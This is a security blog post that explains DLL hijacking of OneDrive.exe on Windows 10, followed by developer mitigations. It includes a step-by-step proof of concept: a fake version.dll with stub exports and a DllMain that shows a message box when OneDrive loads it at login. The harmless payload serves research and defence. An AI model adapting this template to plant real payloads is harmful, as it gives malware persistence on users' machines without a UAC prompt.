Intro
A few days ago, I noticed that the security researcher Colin Hardy posted a video where he demonstrated the technique that malware used to gain persistence in the target system. In a nutshell, the binary payload was placed into a user-writable location with the Microsoft OneDrive executable, masking as a system DLL. That allowed such DLL to be loaded into the OneDrive program every time a user was logging in.
The question that I had for myself was, how is it possible that a malware can inject itself so easily into one of the Microsoft's own processes in the latest version of Windows 10?
This blog post will shed some light on that question.
The Basics
The reason why malware profiled by Colin could so easily gain foothold in the OneDrive executable was two-fold:
- OneDrive executable is located in the user-writable directory, or
%UserProfile%\AppData\Local\Microsoft\OneDrive
to be precise. So many unprivileged programs can write to that location. - DLL search order. If you need an example of an
overblown and archaic contraption, read that document. I can almost guarantee that you won't go through it without thinking, "WTF?"
In a nutshell, when you load a DLL, the loader goes through the process outlined in that cumbersome document to find the file for DLL, if DLL is not specified by its full path. To make matters worse, due to legacy reasons, none of the DLLs that you build your executables with (even today!) are specified by a full path. Instead they are specified by their names only.
So if you read somewhere in the middle there, you will see that a DLL will be first loaded from:
1. The directory from which the application loaded.
Unless such DLL is one of the so-called
KnownDLLs
, that can be found in the following registry key:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
The problem with
KnownDLLs
though, is that the list is very short. For instance, these are DLLs that are listed in my Windows 10:wow64cpu.dll wowarmhw.dll xtajit.dll advapi32.dll clbcatq.dll combase.dll COMDLG32.dll coml2.dll difxapi.dll gdi32.dll gdiplus.dll IMAGEHLP.dll IMM32.dll kernel32.dll MSCTF.dll MSVCRT.dll NORMALIZ.dll NSI.dll ole32.dll OLEAUT32.dll PSAPI.DLL rpcrt4.dll sechost.dll Setupapi.dll SHCORE.dll SHELL32.dll SHLWAPI.dll user32.dll WLDAP32.dll wow64.dll wow64win.dll WS2_32.dll
- Then there's also DLL Redirection. With it Microsoft evidently tried to fix some other problem that came up earlier but instead created more unnecessary complexity that is always bad for security.
So all of this means that if someone can write into a directory where an executable is running from, they can create a clone of the system DLL that is imported by an executable (and is not listed in the KnownDlls list) and such DLL will be loaded into the victim process and executed in its context.
So let's see how easily we can replicate it.
DLL Hijacking In Practice
First let's examine what files are located in the folder where OneDrive executable runs in:
There are only two executables, and no DLLs. That's good for malware. The OneDrive.exe
is the binary that runs every time when OneDrive is opened.
It is also good for malware that OneDrive.exe
is started automatically when each user logs in. This will guarantee persistence.
This is done by Windows itself and should not raise any suspicions from the antivirus software.
Then let's see what modules does OneDrive.exe
import. I will use my WinAPI Search app for that:
OneDrive.exe
opened in WinAPI Search tool.
Then let's pick the module that is not on the list of KnownDLLs
. The malware that Colin worked with, used Version.dll
, so let's use it as well.
Next we need to see what functions the OneDrive.exe
process imports from Version.dll
. We'll use WinAPI Search app for that as well:
OneDrive.exe
opened in WinAPI Search tool.
When we get the list of imports, make sure to sort it by "Module From/To" column and scroll to the Version.dll
section.
As you can see there are only three functions that are imported from that module:
GetFileVersionInfoSizeW
GetFileVersionInfoW
VerQueryValueW
This will make it very easy for us to code our fake Version.dll
to load into the OneDrive.exe
process.
Creating The Hijack DLL
Let's open Visual Studio, and create a new project and pick Dynamic-Link Library (DLL) for C++.
When a new DLL project is created, add a new file to it in the Header Files
folder. You can use the Header File (.h)
template, just make sure to rename it into
exports.def
. Then put into it the names of imported functions we found above as such:
LIBRARY Version
EXPORTS
GetFileVersionInfoSizeW PRIVATE
GetFileVersionInfoW PRIVATE
VerQueryValueW PRIVATE
You will need to change some project properties too. In Configuration Properties
for the DLL project:
- Go to
Linker
->Input
->"Module Definition File"
and addexports.def
into it. - Then go to
Linker
->General
->"Output File"
and change the name of the resulting module to$(OutDir)version$(TargetExt)
to make sure that you compile it intoversion.dll
file. - Additionally, I would also go to
C/C++
->Code Generation
->"Runtime Library"
and set it toMulti-threaded (/MT)
. This will ensure that the DLL compiles without any dependencies to newer run-tine libraries that may be absent on the target machine.
Then in the dllmain.cpp
add some minimum code to test our exploit:
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
::MessageBox(::GetDesktopWindow(), L"Bad version.dll was loaded", L"HIJACKED!", MB_ICONWARNING | MB_SYSTEMMODAL | MB_TOPMOST);
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
DWORD WINAPI GetFileVersionInfoSizeW(LPCWSTR lptstrFilename, LPDWORD lpdwHandle)
{
::Sleep(INFINITE);
return 1;
}
BOOL WINAPI GetFileVersionInfoW(
LPCWSTR lptstrFilename,
DWORD dwHandle,
DWORD dwLen,
LPVOID lpData
)
{
::Sleep(INFINITE);
return TRUE;
}
BOOL WINAPI VerQueryValueW(
LPCVOID pBlock,
LPCWSTR lpSubBlock,
LPVOID *lplpBuffer,
PUINT puLen
)
{
::Sleep(INFINITE);
return TRUE;
}
</windows.h>
In our code above we just created three duds for the imported functions. We need to have them as otherwise the loader will reject our DLL when loading it into OneDrive.exe
.
But we don't really need to provide any code in those functions, as we're not interested to run them. Thus we just created an infinite delay in
each function using the Sleep
API.
This will stall the calling thread inside the OneDrive.exe
process.
Finally our "payload" goes into DllMain
. It will be executed right after OneDrive.exe
is mapped into memory.
This is also very convenient for the malware, as at that time no code inside OneDrive.exe
would have a chance to run yet (aside from the code in DllMain
functions in
previously loaded modules.)
In our case we will just show a system modal message box that our fake DLL has been loaded. This will tell us that the code in malware has executed.
Proof-of-Concept
Compile the DLL project above as Release
configuration and move resulting fake version.dll
to the target computer into the
%UserProfile%\AppData\Local\Microsoft\OneDrive
directory.
Notice that there's no UAC prompt that comes up to move that file. This means that almost everyone can do it.
Then reboot the computer, log in as that user, and wait for the result:
Our fake version.dll
was loaded into the OneDrive process, that by the way, Microsoft forces pretty much on every Windows user, which is a very
convenient way of auto-start (i.e. persistence) for the malware.
Ways of Mitigation
Having shown how easy it is to load a fake DLL into someone else's process, let us try to find ways to mitigate it.
Non-Writable Location
Somewhat luckily for us, Microsoft has envisioned a possible solution. There are locations on disk that require administrative privileges to write to.
And one of such locations is the %ProgramFiles%
directory, or %ProgramFiles(x86)%
for 32-bit programs.
(That is, by the way, a recommended location to place Windows executables into.)
In this case, if an attacker cannot modify files in the directory where your executable is running from, they will not be able to use the DLL hijacking technique that I've shown above.
There are still bypasses that allow to write even into a protected location, but at least it is not as straightforward as I've shown above.
Dynamic Loading of DLLs
As much as I hate to suggest this solution, it seems to be the most reliable from all three here. In a nutshell, if the DLL that you want to load is not on the
KnownDlls
list,
you can load that DLL dynamically, or at run-time in your code using the full path of that DLL. Then you can resolve all imported functions in the DLL, and use the resulting
pointers to call those functions in your code. This is not as straightforward as
using the load-time linking though.
The main idea is that by loading your DLLs with a full path you remove any ambiguities of the DLL search order.
Let me give you an example how you would load the functions we saw above from a genuine Version.dll
:
#include <strsafe.h>
#include <assert.h>
#include <shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
WCHAR buff[MAX_PATH];
//Get system folder path
WCHAR buffSysDir[MAX_PATH] = {};
::GetSystemDirectory(buffSysDir, _countof(buffSysDir));
::PathAddBackslash(buffSysDir);
HMODULE hVersionDll = NULL;
//Declare function pointers
DWORD(WINAPI *pfn_GetFileVersionInfoSizeW)(
LPCWSTR lptstrFilename,
LPDWORD lpdwHandle
) = NULL;
BOOL(WINAPI *pfn_GetFileVersionInfoW)(
LPCWSTR lptstrFilename,
DWORD dwHandle,
DWORD dwLen,
LPVOID lpData
) = NULL;
BOOL(WINAPI *pfn_VerQueryValueW)(
LPCVOID pBlock,
LPCWSTR lpSubBlock,
LPVOID *lplpBuffer,
PUINT puLen
) = NULL;
//Dynamically load DLL by its full path
if (SUCCEEDED(::StringCchCopy(buff, _countof(buff), buffSysDir)) &&
SUCCEEDED(::StringCchCat(buff, _countof(buff), L"version.dll")) &&
(hVersionDll = ::LoadLibrary(buff)))
{
//Resolve imported functions and load their addresses into our pointers
if (((FARPROC&)pfn_GetFileVersionInfoSizeW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoSizeW")) &&
((FARPROC&)pfn_GetFileVersionInfoW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoW")) &&
((FARPROC&)pfn_VerQueryValueW = ::GetProcAddress(hVersionDll, "VerQueryValueW")))
{
//Can call those functions now
pfn_GetFileVersionInfoSizeW(pFileName, dwHandle);
pfn_GetFileVersionInfoW(pFileName, dwHandle, dwLen, pData);
pfn_VerQueryValueW(pBlock, pSub, &pBuffer, ncbBuffLen);
}
else
assert(false);
}
else
assert(false);
if (hVersionDll)
{
//Clear function pointers (for code safety)
pfn_GetFileVersionInfoSizeW = NULL;
pfn_GetFileVersionInfoW = NULL;
pfn_VerQueryValueW = NULL;
//And unload library
::FreeLibrary(hVersionDll);
hVersionDll = NULL;
}
Or, if you're targeting operating systems newer than Windows 7 (it may also work on Windows 7, but it requires the presence of
KB2533623)
you may use the following newer method with LOAD_LIBRARY_SEARCH_SYSTEM32
flag that works without explicitly specifying the system folder when loading DLLs:
//Declare function pointers
DWORD(WINAPI *pfn_GetFileVersionInfoSizeW)(
LPCWSTR lptstrFilename,
LPDWORD lpdwHandle
) = NULL;
BOOL(WINAPI *pfn_GetFileVersionInfoW)(
LPCWSTR lptstrFilename,
DWORD dwHandle,
DWORD dwLen,
LPVOID lpData
) = NULL;
BOOL(WINAPI *pfn_VerQueryValueW)(
LPCVOID pBlock,
LPCWSTR lpSubBlock,
LPVOID *lplpBuffer,
PUINT puLen
) = NULL;
HMODULE hVersionDll = ::LoadLibraryEx(L"version.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
if(hVersionDll)
{
//Resolve imported functions and load their addresses into our pointers
if (((FARPROC&)pfn_GetFileVersionInfoSizeW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoSizeW")) &&
((FARPROC&)pfn_GetFileVersionInfoW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoW")) &&
((FARPROC&)pfn_VerQueryValueW = ::GetProcAddress(hVersionDll, "VerQueryValueW")))
{
//Can call those functions now
pfn_GetFileVersionInfoSizeW(pFileName, dwHandle);
pfn_GetFileVersionInfoW(pFileName, dwHandle, dwLen, pData);
pfn_VerQueryValueW(pBlock, pSub, &pBuffer, ncbBuffLen);
}
else
assert(false);
//Clear function pointers (for code safety)
pfn_GetFileVersionInfoSizeW = NULL;
pfn_GetFileVersionInfoW = NULL;
pfn_VerQueryValueW = NULL;
//And unload library
::FreeLibrary(hVersionDll);
hVersionDll = NULL;
}
else
assert(false);
Lastly, with the same restrictions imposed on the operating system (anything older than Windows 7, or you will need
KB2533623 installed)
you can use the following alternative method of specifying the search order globally with the
SetDefaultDllDirectories
function:
//Declare function pointers
DWORD(WINAPI *pfn_GetFileVersionInfoSizeW)(
LPCWSTR lptstrFilename,
LPDWORD lpdwHandle
) = NULL;
BOOL(WINAPI *pfn_GetFileVersionInfoW)(
LPCWSTR lptstrFilename,
DWORD dwHandle,
DWORD dwLen,
LPVOID lpData
) = NULL;
BOOL(WINAPI *pfn_VerQueryValueW)(
LPCVOID pBlock,
LPCWSTR lpSubBlock,
LPVOID *lplpBuffer,
PUINT puLen
) = NULL;
//Set default search order for DLLs to be loaded from the System32 folder
//INFO: Note that this method is set globally for the entire process!
if(::SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32))
{
HMODULE hVersionDll = ::LoadLibrary(L"version.dll");
if(hVersionDll)
{
//Resolve imported functions and load their addresses into our pointers
if (((FARPROC&)pfn_GetFileVersionInfoSizeW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoSizeW")) &&
((FARPROC&)pfn_GetFileVersionInfoW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoW")) &&
((FARPROC&)pfn_VerQueryValueW = ::GetProcAddress(hVersionDll, "VerQueryValueW")))
{
//Can call those functions now
pfn_GetFileVersionInfoSizeW(pFileName, dwHandle);
pfn_GetFileVersionInfoW(pFileName, dwHandle, dwLen, pData);
pfn_VerQueryValueW(pBlock, pSub, &pBuffer, ncbBuffLen);
}
else
assert(false);
//Clear function pointers (for code safety)
pfn_GetFileVersionInfoSizeW = NULL;
pfn_GetFileVersionInfoW = NULL;
pfn_VerQueryValueW = NULL;
//And unload library
::FreeLibrary(hVersionDll);
hVersionDll = NULL;
}
else
assert(false);
}
else
assert(false);
But, as you can see, the amount of code involved to implement it is way more than just calling the following for the static linking:
GetFileVersionInfoSizeW(pFileName, dwHandle);
GetFileVersionInfoW(pFileName, dwHandle, dwLen, pData);
VerQueryValueW(pBlock, pSub, &pBuffer, ncbBuffLen);
So it is obvious that most developers, including Microsoft itself, will not be willing to go this route.
Code Integrity Guard
It seems like Microsoft had a good idea with their Code Integrity Guard, or CIG. It's only if they implemented it thoroughly.
CIG in a nutshell is a security policy that can be enabled for a process to only allow loading modules that are properly signed by Microsoft.
So in other words, if CIG was enabled for the OneDrive executable it would not load our fake version.dll
because it was not signed by Microsoft.
This would've been a perfect solution, had Microsoft properly implemented CIG.
CIG is not documented very well either. You can find scarce references to it in theSetProcessMitigationPolicy
function documentation for theProcessSignaturePolicy
flag. And in the documentation for thePROCESS_MITIGATION_BINARY_SIGNATURE_POLICY
structure.
The main issue with CIG in our case is that we cannot enable it via an image binary itself, of through the PE file. If we could, any attempts to map an unsigned DLL
would've been thwarted during the loading of statically linked modules,
such as our fake version.dll
.
CIG can be currently enabled by the process on itself, by calling SetProcessMitigationPolicy
:
#ifdef _M_X64
//Enable CIG for the self process
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY pmbsp;
pmbsp.MicrosoftSignedOnly = 1;
if (!::SetProcessMitigationPolicy(ProcessSignaturePolicy, &pmbsp, sizeof(pmbsp)))
{
//Failed to set CIG
assert(false);
}
#else
#error "CIG is not supported for 32-bit processes"
#endif
CIG works only for 64-bit processes, which OneDrive.exe
is not.
But calling the code above will not do us any good as by the time we call it, our fake DLL will be already loaded during the load-time linking.
The second option how CIG can be enabled, is by a parent process when a child process is created using
UpdateProcThreadAttribute
function, using the extended attributes with
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY
and PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON
flag.
But for that option to work, the process that starts OneDrive.exe
, or
Windows Explorer in our case, needs to support it, which it currently does not.
Conclusion
Unfortunately, the way DLLs are loaded into programs is bogged down in Windows legacy, which becomes a true security nightmare. And until Microsoft implements a decent version of Code Integrity Guard, there doesn't seem to be any guaranteed solution against DLL hijacking on the horizon.
The best option for software developers today, if they want to protect their executables from DLL hijacking, is to place them into a folder that is not writable by standard users; and if code refactoring is feasible, load affected system DLLs dynamically using their full path. This won't be a panacea, but will still offer better protection.
Make sure to read Microsoft's own suggestions on implementing DLLs securely and their overall DLL best practices for developers.